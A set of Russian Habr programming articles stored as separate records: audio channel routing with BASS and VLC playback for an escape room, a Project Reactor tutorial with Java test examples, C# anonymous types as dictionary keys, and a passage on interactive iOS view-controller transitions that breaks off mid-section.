Пожалуй ничего в этой задаче не подкосило меня так сильно, как звук. Я ожидал, что может быть проблемой выбрать звуковую карту, но не ожидал, что проиграть звук в строго определённый канал так, чтобы он не протекал в другие каналы, будет столь небанально.
Средства Qt отпали сразу, ничего даже близко подобного в этой библиотеке нет. Я полез исследовать звуковые библиотеки, оказалось, что нормальным людям нужно создание трёхмерных сцен, задание движущихся источников звука, но не проигрывание в одну конкретную колонку.
Первый реализованный вариант проходит среди меня, как очень грязный хак. Я брал одноканальные wav файлы, разбирал их и писал новый wav-файл, в котором число каналов указано как 8, в нужный записаны сэмплы, а в остальные — нули. Минусы этого подхода вполне очевидны, разбор звука в любом другом формате резко усложняется, нет единого стандарта на предмет того, какой канал внутри wav-файла пойдёт в какую колонку (то есть при смене звуковой карты возможно всё придётся перенастраивать), требуется переделывать файл каждый раз, когда захочется играть его в другой канал. Этот вариант как-то работал, но откровенно меня не устраивал и я продолжил поиски. Поиски были вознаграждены, я нашёл библиотеку BASS от un4seen developments. В этой прекрасной библиотеке можно при проигрывании звука просто установить нужный канал и получить нужный эффект. Здесь, конечно, тоже есть подводные камни.
Во-первых, проигрывание звука надо выносить в отдельный поток, библиотека этого не делает.
Во-вторых, надо очень внимательно отслеживать и отключать в драйверах звуковой карты всяческие виртуальные 3д-сцены (сюда же относятся всякие твикеры для звука, наподобие DFX), наличие любой такой настройки размазывает звук по каналам (и хорошо если только по соседним, а не вообще по всем).
В-третьих, у BASS есть маленькая незадокументированная особенность. При использовании только базовой библиотеки можно таким образом проигрывать в один канал, но нельзя микшировать звук в несколько каналов, попытка применить флаги нескольких каналов приводит к игнорированию этой настройки библиотекой. К счастью, эта проблема решается с помощью библиотеки BASSmix от того же разработчика. Итоговое проигрывание на нескольких каналах (но в рамках одной звуковухи) выглядит так
```
bool res = BASS_SetDevice(device_);//device_ - номер звуковой карты
if(!res)
{
int code = BASS_ErrorGetCode();
if(code == BASS_ERROR_INIT)
BASS_Init(device_, 44100, BASS_DEVICE_SPEAKERS, 0, 0);
else
{
//обработка ошибок
}
}
mixer_ = BASS_Mixer_StreamCreate(44100, 8, BASS_MIXER_END);
if(mixer_ == 0)
{
//обработка ошибок
}
for(uint j = 0; j < channel_.size(); j++)
{
HSTREAM chan = BASS_StreamCreateFile(false, path_.toLocal8Bit().data(),0,0,BASS_STREAM_DECODE|BASS_SAMPLE_MONO);//В микшер добавляются только декодируемые моно-каналы
res = BASS_Mixer_StreamAddChannel(mixer_, chan, channel_[j]); //channel_ - массив флагов обозначающих каналы
channels_.push_back(chan);
if(!res)
{
//обработка ошибок
}
}
res = BASS_ChannelPlay(mixer_, true);
if(!res)
{
//обработка ошибок
}
```
**Видео**
Проигрывание видео тоже оказалось сопряжено с некоторыми проблемами, связанными с требованиями заказчика. Поскольку телевизор вмонтирован в квест и не должен вызывать ощущения экрана, то важно было, чтобы на нём не мелькали никакие окна, а сразу начиналось проигрывание видео. К сожалению, полностью решить эту задачу мне пока не удалось.
Первый вариант был реализован средствами Qt. В целом с ним всё было хорошо, я брал QDesktopWidget, создавал дочерний к нему QVideoWidget, покрашенный чёрным цветом, после чего начинал выводить на него видео с помощью QMediaPlayer. Всё было хорошо, никаких артефактов, никаких мерцаний, но увы, в Qt5.5 воспроизведение видео иногда виснет намертво. Нерегулярно, непредсказуемо и без объявления войны. Причём оно именно виснет, забивая звуковуху заикающимся куском озвучки, который исчезает только после перезагрузки. Не знаю, решили ли этот баг в Qt 5.6, но судя по форумам там внесли другой баг, когда проигрывание видео начинает отжирать все ресурсы процессора, до каких только дотянется, что мне тоже не очень нравится.
Найти по-быстрому другую библиотеку мне не удалось (ни малейшего желания разбирать самостоятельно последовательность кадров и синхронизировать с ними звук я не испытываю), поэтому я решил взять VLC Player, который предоставляет очень мощный инструментарий по запуску из командной строки. Итоговый набор флагов выглядит следующим образом:
--qt-minimal-view --no-qt-fs-controller --qt-start-minimized --qt-fullscreen-screennumber=n --fullscreen --play-and-exit --no-osd --no-qt-bgcone filename
При таком наборе ключей проигрыватель стартует минимизированным (на экране не мелькает окно), разворачивает после этого проигрывание видео на полный экран на нужном дисплее, не показывает никаких элементов управления и имени файла, а по окончанию воспроизведения выходит из программы.
Вот с этим последним пунктом и возникла проблема, которую пока не удалось решить. Выход по окончанию воспроизведения необходим, потому что часть событий в квесте происходят по окончанию проигрывания видео, а отслеживать окончание проигрывания в сторонней программе можно только по завершению QProcess'а, но при завершении программы на полсекунды показывается последний кадр с кучей артефактов, что резко портит всю картину. Пока предложил заказчикам перемонтировать видео, добавив в конце секунду-другую черноты, поскольку на ней артефакты не должны быть видны, но посмотрим, что получится.
Ещё одна особенность использования этого метода заключается в том, что Qt при получении списка QDesktopWidget'ов или QScreen сортирует их в каком-то своём порядке, никак не связанном с номерацией экранов в системе, а VLC в ключе --qt-fullscreen-screennumber=n хочет как раз системный номер (правда нумерует с 0, а не с 1), поэтому в итоге я получал список QScreen и вырезал номер экрана из названия устройства (ну а потом ещё вычитал единицу, чтобы получить номер для VLC), выглядит это как-то так
```
QList screens = QGuiApplication::screens();
for(int j = 0; j < screens.size(); j++)
{
QString name = screens[j]->name()+" ["
+QString::number(screens[j]->size().width())+"x"
+QString::number(screens[j]->size().height())+"]";
int num = screens[j]->name().section("DISPLAY",-1).toInt();
ui->videoDeviceList->addItem(name, screens[j]->name().section("DISPLAY",-1));
}
```
Подозреваю, что этот метод не сработает под \*nix системами, потому что там экраны будут называться не DISPLAY1, DISPLAY2 и т.д., но поскольку программа разрабатывалась чисто под винду и не будет запускаться на других системах, то смысла это учитывать я не вижу. | https://habr.com/ru/post/303742/ | null | ru | null |
# Реактивное программирование со Spring, часть 2 Project Reactor
Это вторая часть [**серии заметок о реактивном программировании**](https://habr.com/ru/post/565000/), в которой представлен обзор Project Reactor, реактивной библиотеки, основанной на спецификации Reactive Streams.
### 1. Введение в Project Reactor
Реактивное программирование поддерживается Spring Framework, начиная с версии 5. Эта поддержка построена на основе Project Reactor.
Project Reactor (или просто Reactor) - это библиотека Reactive для создания неблокирующих приложений на JVM, основанная на спецификации Reactive Streams. Reactor - это основа реактивного стека в экосистеме Spring, и он разрабатывается в тесном сотрудничестве со Spring. WebFlux, веб фреймворк с реактивным стеком Spring, использует Reactor в качестве базовой зависимости.
#### 1.1 Модули Reactor
Проект Reactor состоит из набора модулей, перечисленных в документации Reactor. Модули встраиваемы и совместимы. Основным артефактом является Reactor Core, который содержит реактивные типы Flux и Mono, которые реализуют интерфейс Publisher Reactive Stream (подробности см. в [**первом сообщении этой серии**](https://habr.com/ru/post/565004/)) и набор операторов, которые могут применяться к ним.
Некоторые другие модули:
* `Reactor Test` - предоставляет некоторые утилиты для тестирования реактивных потоков
* `Reactor Extra` - предоставляет некоторые дополнительные операторы Flux
* `Reactor Netty` - неблокирующие клиенты и серверы TCP, HTTP и UDP с поддержкой обратного давления - на основе инфраструктуры Netty
* `Reactor Adapter` - адаптер для других реактивных библиотек, таких как RxJava2 и Akka Streams
* `Reactor Kafka` - реактивный API для Kafka, который позволяет публиковать и получать сообщения в Kafka.
#### 1.2 Настройка проекта
Прежде чем мы продолжим, если вы хотите настроить проект и запустить некоторые из приведенных ниже примеров кода, сгенерируйте новое приложение Spring Boot с помощью [**Spring Initializr**](https://start.spring.io/).
В качестве зависимости выберите Spring Reactive Web. После импорта проекта в вашу среду IDE взгляните на файл POM, и вы увидите, что добавлена зависимость spring-boot-starter-webflux, которая также внесет зависимость ядра-реактора. Также в качестве зависимости добавлен тест-реактор. Теперь вы готовы к запуску следующих примеров кода.
```
...
org.springframework.boot
spring-boot-starter-webflux
org.springframework.boot
spring-boot-starter-test
test
org.junit.vintage
junit-vintage-engine
io.projectreactor
reactor-test
test
...
```
### 2. Возможности Reactor Core
Reactor Core определяет реактивные типы Flux и Mono.
#### 2.1 FLUX и MONO
Flux - это Publisher, который может испускать от 0 до N элементов, а Mono может испускать от 0 до 1 элемента. Оба они завершаются либо сигналом завершения, либо ошибкой, и они вызывают методы onNext, onComplete и onError нижестоящего подписчика. Помимо реализации функций, описанных в спецификации Reactive Streams, Flux и Mono предоставляют набор операторов для поддержки преобразований, фильтрации и обработки ошибок.
В качестве первого упражнения перейдите к классу тестирования, созданному в вашем новом проекте, добавьте следующий пример и запустите его:
```
@Test
void simpleFluxExample() {
Flux fluxColors = Flux.just("red", "green", "blue");
fluxColors.subscribe(System.out::println);
}
```
Метод just создает поток, который испускает предоставленные элементы, а затем завершается. Ничего не передается, пока кто-нибудь на это не подпишется. Чтобы подписаться на него, мы вызываем метод subscribe и в этом случае просто распечатываем отправленные элементы. Создание Mono также может быть выполнено с помощью метода just, с той лишь разницей, что разрешен только один параметр.
#### 2.2 Объединение операторов
Взгляните на [Flux API,](https://projectreactor.io/docs/core/release/api/reactor/core/publisher/Flux.html) и вы увидите, что почти все методы возвращают Flux или Mono, что означает, что операторы могут быть связаны. Каждый оператор добавляет поведение к Publisher (Flux или Mono) и переносит Publisher предыдущего шага в новый экземпляр. Данные поступают от первого издателя и перемещаются по цепочке, трансформируясь каждым оператором. В конце концов, подписчик завершает процесс. Обратите внимание, что ничего не происходит, пока подписчик не подпишется на издателя.
Существует оператор log(), который обеспечивает регистрацию всех сигналов Reactive Streams, происходящих за кулисами. Просто измените последнюю строку приведенного выше примера на
```
fluxColors.log().subscribe(System.out::println);
```
и перезапустите тест. Теперь вы увидите, что к выходным данным добавляется следующее:
```
2020-09-12 16:16:39.779 INFO 6252 --- [ main] reactor.Flux.Array.1 : | onSubscribe([Synchronous Fuseable] FluxArray.ArraySubscription)
2020-09-12 16:16:39.781 INFO 6252 --- [ main] reactor.Flux.Array.1 : | request(unbounded)
2020-09-12 16:16:39.781 INFO 6252 --- [ main] reactor.Flux.Array.1 : | onNext(red)
red
2020-09-12 16:16:39.781 INFO 6252 --- [ main] reactor.Flux.Array.1 : | onNext(green)
green
2020-09-12 16:16:39.781 INFO 6252 --- [ main] reactor.Flux.Array.1 : | onNext(blue)
blue
2020-09-12 16:16:39.782 INFO 6252 --- [ main] reactor.Flux.Array.1 : | onComplete()
```
Теперь, чтобы увидеть, что произойдет, если вы исключите вызов subscribe(), снова измените последнюю строку кода на следующую и повторно запустите тест:
```
fluxColors.log();
```
Как вы увидите из выходных данных журнала, сейчас никакие элементы не отправляются - поскольку нет подписчика, инициирующего процесс.
#### 2.3 Поиск подходящего оператора
Reactor предоставляет длинный список операторов, и в качестве помощи в поиске подходящего оператора для конкретного варианта использования есть специальное [приложение](https://projectreactor.io/docs/core/release/reference/index.html#which-operator) в справочной документации Reactor. Он разделен на различные категории, как показано в таблице ниже.
| **КАТЕГОРИЯ ОПЕРАТОРА** | **ПРИМЕРЫ** |
| --- | --- |
| Создание новой последовательности | just, fromArray, fromIterable, fromStream |
| Преобразование существующей последовательности | map, flatMap, startWith, concatWith |
| Заглядывать в последовательность | doOnNext, doOnComplete, doOnError, doOnCancel |
| Фильтрация последовательности | filter, ignoreElements, distinct, elementAt, takeLast |
| Обработка ошибок | onErrorReturn, onErrorResume, retry |
| Работаем со временем | elapsed, interval, timestamp, timeout |
| Расщепление потока | buffer, groupBy, window |
| Возвращаясь к синхронному миру | block, blockFirst, blockLast, toIterable, toStream |
| Многоадресная рассылка потока нескольким подписчикам | publish, cache, replay |
Теперь не стесняйтесь создать несколько небольших примеров, в которых используются некоторые из этих операторов, и посмотреть, что произойдет, когда вы их запустите. Например, с помощью оператора map (который преобразует элементы, создаваемые путем применения синхронной функции к каждому элементу):
```
@Test
void mapExample() {
Flux fluxColors = Flux.just("red", "green", "blue");
fluxColors.map(color -> color.charAt(0)).subscribe(System.out::println);
}
```
Или оператор zip, который объединяет несколько источников вместе (ожидая, пока все источники испускают один элемент, и объединяет их в кортеж):
```
@Test
void zipExample() {
Flux fluxFruits = Flux.just("apple", "pear", "plum");
Flux fluxColors = Flux.just("red", "green", "blue");
Flux fluxAmounts = Flux.just(10, 20, 30);
Flux.zip(fluxFruits, fluxColors, fluxAmounts).subscribe(System.out::println);
}
```
### 3. Обработка ошибок
Как описано в предыдущем сообщении в блоге, в Reactive Streams ошибки - это терминальные события. При возникновении ошибки вся последовательность останавливается, и ошибка передается методу onError подписчика, который всегда должен быть определен. Если не определено, onError вызовет исключение UnsupportedOperationException.
Как вы видите, запустив следующий пример, третье значение никогда не генерируется, поскольку второе значение приводит к ошибке:
```
@Test
public void onErrorExample() {
Flux fluxCalc = Flux.just(-1, 0, 1)
.map(i -> "10 / " + i + " = " + (10 / i));
fluxCalc.subscribe(value -> System.out.println("Next: " + value),
error -> System.err.println("Error: " + error));
}
```
Результат будет выглядеть так:
```
Next: 10 / -1 = -10
Error: java.lang.ArithmeticException: / by zero
```
Также можно обрабатывать ошибки в середине реактивной цепочки, используя операторы обработки ошибок:
Метод `onErrorReturn` будет выдавать резервное значение, когда наблюдается ошибка указанного типа. Это можно сравнить с перехватом исключения и возвратом статического запасного значения в императивном программировании. См. Пример ниже:
```
@Test
public void onErrorReturnExample() {
Flux fluxCalc = Flux.just(-1, 0, 1)
.map(i -> "10 / " + i + " = " + (10 / i))
.onErrorReturn(ArithmeticException.class, "Division by 0 not allowed");
fluxCalc.subscribe(value -> System.out.println("Next: " + value),
error -> System.err.println("Error: " + error));
}
```
и результат:
```
Next: 10 / -1 = -10
Next: Division by 0 not allowed
```
Как видите, использование оператора обработки ошибок таким образом все еще не позволяет продолжить исходную реактивную последовательность (третье значение здесь также не генерируется), а скорее заменяет ее. Если недостаточно просто вернуть какое-то значение по умолчанию, вы можете использовать этот `onErrorResume` метод, чтобы подписаться на резервного издателя при возникновении ошибки. Это можно сравнить с перехватом исключения и вызовом резервного метода в императивном программировании. Если, например, вызов внешней службы завершается неудачно, реализация onErrorResume может быть связана с извлечением данных из локального кеша.
### 4. Тестирование
Модуль Reactor Test предоставляет служебные программы, которые могут помочь в тестировании поведения вашего Flux или Mono. В этом помогает API StepVerifier. Вы создаете StepVerifier и передаете его издателю для тестирования. StepVerifier подписывается на Publisher при вызове метода verify, а затем сравнивает выданные значения с вашими определенными ожиданиями.
См. следующий пример:
```
@Test
public void stepVerifierTest() {
Flux fluxCalc = Flux.just(-1, 0, 1)
.map(i -> "10 / " + i + " = " + (10 / i));
StepVerifier.create(fluxCalc)
.expectNextCount(1)
.expectError(ArithmeticException.class)
.verify();
}
```
Для объекта создается StepVerifier, `fluxCalc` и определяются два ожидания: сначала ожидается, что будет выдана одна String, а затем должна быть выдана ошибка с типом ArithmeticException. С помощью вызова verify StepVerifier начинает подписываться на Flux, и инициируется поток.
StepVerifier также имеет другие функции, такие как включение утверждений после выполнения и поддержка виртуального времени, чтобы избежать длительного времени выполнения тестов, связанных с операторами, основанными на времени.
Модуль Reactor Test также предоставляет другой API, `TestPublisher` который представляет собой Publisher, которым вы можете напрямую управлять, инициируя события onNext, onComplete и onError для целей тестирования.
### 5. Модель параллелизма
Как вы, возможно, уже заметили из вывода журнала simpleFluxExample, до сих пор наш издатель выполнялся в основном потоке так же, как подписчик. Это связано с тем, что Reactor не применяет модель параллелизма. Вместо этого выполнение большинства операторов будет продолжено в том же потоке, оставляя выбор за разработчиком. Модель выполнения определяется тем `Scheduler`, что используется.
Есть два способа переключения контекста выполнения в реактивной цепочке: publishOn и subscribeOn. Отличается следующее:
* `publishOn(Scheduler scheduler)` влияет на выполнение всех последующих операторов (если не указано иное)
* `subscribeOn(Scheduler scheduler)` изменяет поток, из которого подписывается вся цепочка операторов, на основе самого раннего вызова subscribeOn в цепочке. Это не влияет на поведение последующих вызовов publishOn
Класс `Schedulers` содержит статические методы, чтобы обеспечить контекст выполнения, например:
* `parallel()` - Фиксированный пул воркеров, настроенный для параллельной работы, создавая столько воркеров, сколько ядер ЦП.
* `single()` - Одиночная многоразовая нить. Этот метод повторно использует один и тот же поток для всех вызывающих, пока Планировщик не будет удален. Если вместо этого вам нужен выделенный поток для каждого вызова, вы можете использовать Schedulers.newSingle () для каждого вызова.
* `boundedElastic()` - Динамически создает ограниченное количество рабочих. Он имеет ограничение на количество поддерживающих потоков, которые он может создать, и может ставить задачи в очередь для перепланирования, когда поток становится доступным. Это хороший выбор для обертывания синхронных, блокирующих вызовов.
* `immediate()` - немедленно запускается в исполняемом потоке, не переключая контекст выполнения
* `fromExecutorService(ExecutorService)` - может использоваться для создания Планировщика из любого существующего ExecutorService
Выполните следующий пример и посмотрите на поведение:
```
@Test
public void publishSubscribeExample() {
Scheduler schedulerA = Schedulers.newParallel("Scheduler A");
Scheduler schedulerB = Schedulers.newParallel("Scheduler B");
Scheduler schedulerC = Schedulers.newParallel("Scheduler C");
Flux.just(1)
.map(i -> {
System.out.println("First map: " + Thread.currentThread().getName());
return i;
})
.subscribeOn(schedulerA)
.map(i -> {
System.out.println("Second map: " + Thread.currentThread().getName());
return i;
})
.publishOn(schedulerB)
.map(i -> {
System.out.println("Third map: " + Thread.currentThread().getName());
return i;
})
.subscribeOn(schedulerC)
.map(i -> {
System.out.println("Fourth map: " + Thread.currentThread().getName());
return i;
})
.publishOn(schedulerA)
.map(i -> {
System.out.println("Fifth map: " + Thread.currentThread().getName());
return i;
})
.blockLast();
}
```
Взглянув на вывод (показан ниже), вы можете увидеть, что первая и вторая операции map выполняются в потоке из планировщика A, поскольку первый subscribeOn в цепочке переключается на этот планировщик, и это влияет на всю цепочку. Перед третьей операцией map выполняется publishOn, переключающий контекст выполнения на Scheduler B, в результате чего третья и четвертая операции map выполняются в этом контексте (поскольку вторая subscribeOn не будет иметь никакого эффекта). И, наконец, есть новый метод publishOn, который переключает обратно на Планировщик A перед последней операцией map.
```
First map: Scheduler A-4
Second map: Scheduler A-4
Third map: Scheduler B-3
Fourth map: Scheduler B-3
Fifth map: Scheduler A-1
```
### 6. BACKPRESSURE (противодавление)
Как вы могли вспомнить из первой части этой серии блогов, противодавление - это способность потребителя сигнализировать производителю, с какой скоростью выброса он может справиться, чтобы он не перегружался.
В приведенном ниже примере показано, как подписчик может контролировать скорость передачи, вызывая `request(n)` метод в Subscription.
```
@Test
public void backpressureExample() {
Flux.range(1,5)
.subscribe(new Subscriber() {
private Subscription s;
int counter;
@Override
public void onSubscribe(Subscription s) {
System.out.println("onSubscribe");
this.s = s;
System.out.println("Requesting 2 emissions");
s.request(2);
}
@Override
public void onNext(Integer i) {
System.out.println("onNext " + i);
counter++;
if (counter % 2 == 0) {
System.out.println("Requesting 2 emissions");
s.request(2);
}
}
@Override
public void onError(Throwable t) {
System.err.println("onError");
}
@Override
public void onComplete() {
System.out.println("onComplete");
}
});
}
```
Запустите его, и вы увидите, что по запросу одновременно генерируются два значения:
```
onSubscribe
Requesting 2 emissions
onNext 1
onNext 2
Requesting 2 emissions
onNext 3
onNext 4
Requesting 2 emissions
onNext 5
onComplete
```
В Subscription также есть `cancel`метод, позволяющий запросить Издателя остановить эмиссию и очистить ресурсы.
### 7. Холодные и горячие Publisher
Доступны два типа Publisher - cold и hot (холодные и горячие). Пока что мы сосредоточились на холодных Publisher. Как мы заявляли ранее, ничего не происходит, пока мы не подпишемся - но на самом деле это верно только для холодных издателей.
Холодный Publisher генерирует новые данные для каждой подписки. Если подписки нет, данные никогда не генерируются. Напротив, hot издатель не зависит от подписчиков. Он может начать публикацию данных без подписчиков. Если подписчик подписывается после того, как издатель начал передавать значения, он получит только значения, выпущенные после его подписки.
Publisher в Reactor по умолчанию не работают. Один из способов создания горячего Publisher - это вызвать `publish()` метод в Flux. Это вернет `ConnectableFlux`, у которого есть метод connect() для запуска передачи значений. Подписчики должны затем подписаться на этот ConnectableFlux вместо исходного Flux.
Давайте посмотрим на простой холодный и горячий Publisher, чтобы увидеть различное поведение. В приведенном ниже примере coldPublisherExample оператор interval используется для создания потока, который генерирует значения long, начинающиеся с 0.
```
@Test
public void coldPublisherExample() throws InterruptedException {
Flux intervalFlux = Flux.interval(Duration.ofSeconds(1));
Thread.sleep(2000);
intervalFlux.subscribe(i -> System.out.println(String.format("Subscriber A, value: %d", i)));
Thread.sleep(2000);
intervalFlux.subscribe(i -> System.out.println(String.format("Subscriber B, value: %d", i)));
Thread.sleep(3000);
}
```
При запуске будет получен следующий результат:
```
Subscriber A, value: 0
Subscriber A, value: 1
Subscriber A, value: 2
Subscriber B, value: 0
Subscriber A, value: 3
Subscriber B, value: 1
Subscriber A, value: 4
Subscriber B, value: 2
```
Теперь вы можете задаться вопросом, почему что-то происходит, когда основной поток спит, но это потому, что оператор интервала по умолчанию выполняется в планировщике Schedulers.parallel(). Как видите, оба подписчика получат значения, начинающиеся с 0.
Теперь давайте посмотрим, что происходит, когда мы используем ConnectableFlux:
```
@Test
public void hotPublisherExample() throws InterruptedException {
Flux intervalFlux = Flux.interval(Duration.ofSeconds(1));
ConnectableFlux intervalCF = intervalFlux.publish();
intervalCF.connect();
Thread.sleep(2000);
intervalCF.subscribe(i -> System.out.println(String.format("Subscriber A, value: %d", i)));
Thread.sleep(2000);
intervalCF.subscribe(i -> System.out.println(String.format("Subscriber B, value: %d", i)));
Thread.sleep(3000);
}
```
На этот раз мы получаем следующий результат:
```
Subscriber A, value: 2
Subscriber A, value: 3
Subscriber A, value: 4
Subscriber B, value: 4
Subscriber A, value: 5
Subscriber B, value: 5
Subscriber A, value: 6
Subscriber B, value: 6
```
Как мы видим, на этот раз ни один из подписчиков не получает исходные значения 0 и 1. Они получают значения, которые отправляются после подписки. Вместо того, чтобы вручную запускать публикацию, с помощью этого `autoConnect(n)`метода также можно настроить ConnectableFlux так, чтобы он запускался после n подписок.
### 8. Прочие возможности
#### 8.1 Завершение синхронного, блокирующего вызова
Когда необходимо использовать источник информации, который является синхронным и блокирующим, в Reactor рекомендуется использовать следующий шаблон:
```
Mono blockingWrapper = Mono.fromCallable(() -> {
return /* make a remote synchronous call */
});
blockingWrapper = blockingWrapper.subscribeOn(Schedulers.boundedElastic());
```
Метод `fromCallable` создает Mono, который производит его значение с помощью прилагаемого Callable. Используя Schedulers.boundedElastic(), мы гарантируем, что каждая подписка выполняется на выделенном однопоточном работнике, не влияя на другую неблокирующую обработку.
#### 8.2 Контекст
Иногда возникает необходимость передать некоторые дополнительные, обычно технические данные, через реактивный конвейер. Сравните это с привязкой некоторого состояния к потоку с помощью ThreadLocal в императивном мире.
Reactor имеет функцию, которая в некоторой степени сравнима с ThreadLocal, но может применяться к Flux или Mono вместо Thread, называемая a `Context`. Это интерфейс, похожий на Map, где вы можете хранить пары ключ-значение и получать значение по его ключу. Контекст прозрачно распространяется по всему реактивному конвейеру и может быть легко доступен в любой момент, вызвав метод Mono.subscriberContext().
Контекст может быть заполнен во время подписки путем добавления вызова метода `subscriberContext(Function)` или `subscriberContext(Context)` метода в конце вашего реактивного конвейера, как показано в методе тестирования ниже.
```
@Test
public void contextTest() {
String key = "key";
Mono mono = Mono.just("anything")
.flatMap(s -> Mono.subscriberContext()
.map(ctx -> "Value stored in context: " + ctx.get(key)))
.subscriberContext(ctx -> ctx.put(key, "myValue"));
StepVerifier.create(mono)
.expectNext("Value stored in context: myValue")
.verifyComplete();
}
```
#### 8.3 SINKS
Rector также предлагает возможность создавать Flux или Mono, программно определяя события onNext, onError и onComplete. Для этого предоставляется так называемый API-интерфейс приемника, запускающий события. Существуют несколько различных вариантов приемников (*Sink* — это конструкции, через которые сигналы Reactive Streams могут программно передаваться с семантикой Flux или Mono, *примеч. перев.*), чтобы узнать больше об этом, читайте далее в справочной документации: [**Программное создание последовательности**](https://projectreactor.io/docs/core/release/reference/#producing)
#### 8.4 Отладка
Отладка реактивного кода может стать проблемой из-за его функционального декларативного стиля, в котором фактическое объявление (или «assembly ») и обработка сигнала («execution») не происходят одновременно. Обычная трассировка стека Java, генерируемая приложением Reactor, не будет включать никаких ссылок на ассемблерный код, что затрудняет определение фактической основной причины распространенной ошибки.
Чтобы получить более значимую трассировку стека, которая включает информацию о сборке (также называемую трассировкой), вы можете добавить вызов `Hooks.onOperatorDebug()` в свое приложение. Однако это нельзя использовать в производственной среде, потому что это связано с перемещением тяжелого стека и может отрицательно повлиять на производительность.
Для использования в производственной среде Project Reactor предоставляет отдельный Java-агент, который инструментирует ваш код и добавляет отладочную информацию, не требуя больших ресурсов для захвата трассировки стека при каждом вызове оператора. Чтобы использовать его, вам нужно добавить `reactor-tools` артефакт в свои зависимости и инициализировать его при запуске приложения Spring Boot:
```
public static void main(String[] args) {
ReactorDebugAgent.init();
SpringApplication.run(Application.class, args);
}
```
#### 8.5 Метрики
Reactor предоставляет встроенную поддержку для включения и отображения показателей как для планировщиков (Schedulers), так и для издателей (Publishers). Дополнительные сведения см. в разделе «[Метрики](https://projectreactor.io/docs/core/release/reference/#metrics)» Справочного руководства.
### 9. Подводя итог…
В этом сообщении в блоге представлен обзор Project Reactor, в основном сосредоточенный на функциях Reactor Core. [**Следующий блог**](https://habr.com/ru/post/565056/) в этой серии будет о WebFlux - реактивном фреймворке Spring, который использует Reactor в качестве реактивной библиотеки!
#### Ссылки
[Project Reactor](https://projectreactor.io/)
[Spring Web Reactive Framework](https://docs.spring.io/spring/docs/current/spring-framework-reference/web-reactive.html#webflux)
[Reactor Debugging Experience](https://spring.io/blog/2019/03/28/reactor-debugging-experience)
[Flight of the Flux 1 - Assembly vs Subscription](https://spring.io/blog/2019/03/06/flight-of-the-flux-1-assembly-vs-subscription) | https://habr.com/ru/post/565050/ | null | ru | null |
# Анонимные типы за пределами функции
Анонимные типы — очень приятное расширение C#, появившееся в версии 3.0. С помощью анонимных типов мы можем налету создать объект-хранилище и наполнить его данными.
Основное применение анонимных типов — это, конечно, LINQ. Фактически, они и были созданы для него (вообще говоря, все нововведения C# 3.0 были сделаны для LINQ, за исключением, пожалуй, частичных методов).
`> var o = new {Bar=2, Foo="string"};`
Однако, мы не сможем использоваь этот объект вне метода, в котором он был объявлен и проинициализирован:
`> ??? GetFullName()
>
> {
>
> return new {Name="Иван", Surname="Иванов"};
>
> }
>
>
>
> object PrintFullName()
>
> {
>
> var fullname = GetFullName() as ???;
>
> }
>
>`
Фактически, мы не знаем, какой тип нужно использовать вместо ???.. Однако есть еще один, не совсем очевидный способ использования анонимных типов — в качестве ключей для Dictionary:
`> Dictionary<object, string> dict = new Dictionary<object, string>();
>
> public void Add()
>
> {
>
> dict.Add(new {x=5, y=6}, "test");
>
> }
>
>
>
> public void Get(){
>
> Console.WriteLine(dict[new{x=5, y=6}]);
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Это становится возможным благодаря тому, что сгенерированные компилятором оболочки для анонимных типов реализуют методы Equals() и GetHashCode(). Правда, остается та же проблема — мы не сможем получить значения из такого ключа, потому как опять не сможем явно указать его тип, поэтому использования ключа ограничивается только методами Get(), Set() и ContainsKey().
Итак, если вам необходимо организовать хранение данных в Dictionary по сложному ключу, состоящему из нескольких полей, и вам не нужно получать значения этого ключа — смело используете анонимные типы. | https://habr.com/ru/post/37170/ | null | ru | null |
# Не всплывай! Прерываемые транзишены в iOS
Вас тоже бесят всплывающие окна в приложениях? В этой статье я покажу, как интерактивно скрывать и показывать всплывающие окна, делать анимацию прерываемой и не бесить своих клиентов.
> Серия статей, в которых можно почитать про транзишены в iOS и Android:
>
> * Не всплывай! Прерываемые транзишены в iOS (You are here).
> * [Всплывай! Транзишены в iOS.](https://habr.com/ru/company/dodopizzadev/blog/463527/)
> * [Анимация в Android: плавные переходы фрагментов внутри Bottom Sheet.](https://habr.com/ru/company/dodopizzadev/blog/510066/)
>
>
>
>
[В предыдущей статье](https://habr.com/ru/company/dodopizzaio/blog/463527/) я разобрал, как можно анимировать отображение нового контроллера.
Мы остановились на том, что `viewController` может показываться и скрываться анимировано:
Теперь научим его реагировать на жест скрытия.
Интерактивный транзишен
-----------------------
### Добавляем жест закрытия
Чтобы научить контроллер закрываться интерактивно, нужно добавить жест и обработать его. Вся работа будет в классе `TransitionDriver`:
```
class TransitionDriver: UIPercentDrivenInteractiveTransition {
func link(to controller: UIViewController) {
presentedController = controller
panRecognizer = UIPanGestureRecognizer(target: self, action: #selector(handle(recognizer:)))
presentedController?.view.addGestureRecognizer(panRecognizer!)
}
private var presentedController: UIViewController?
private var panRecognizer: UIPanGestureRecognizer?
}
```
Можно присоединить обработчик в месте создания DimmPresentationController, внутри PanelTransition:
```
private let driver = TransitionDriver()
func presentationController(forPresented presented: UIViewController, presenting: UIViewController?, source: UIViewController) -> UIPresentationController? {
driver.link(to: presented)
let presentationController = DimmPresentationController(presentedViewController: presented, presenting: presenting)
return presentationController
}
```
При этом, нужно указать, что скрытие стало управляемым (мы уже сделали это в прошлой статье):
```
// PanelTransition.swift
func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
return driver
}
```
### Обрабатываем жест
Начнём с жеста закрытия: если панель потащить вниз, то начнётся анимация закрытия, и движение пальца будет влиять на степень закрытости.
`UIPercentDrivenInteractiveTransition` позволяет перехватить анимацию перехода и управлять ей вручную. У него есть методы `update`, `finish`, `cancel`. Удобно сделать обработку жеста в его сабклассе.
#### Обработка жеста
```
private func handleDismiss(recognizer r: UIPanGestureRecognizer) {
switch r.state {
case .began:
pause() // Без паузы percentComplete всегда равен 0
let isRunning = percentComplete != 0
if !isRunning {
presentingController?.present(presentedController!, animated: true)
}
case .changed:
update(percentComplete + r.incrementToBottom(maxTranslation: maxTranslation))
case .ended, .cancelled:
if r.isProjectedToDownHalf(maxTranslation: maxTranslation) {
finish()
} else {
cancel()
}
case .failed:
cancel()
default:
break
}
}
```
`.begin`
Начать дисмисс самым обычным образом. Ссылку на контроллер мы сохранили в методе `link(to:)`
`.changed`
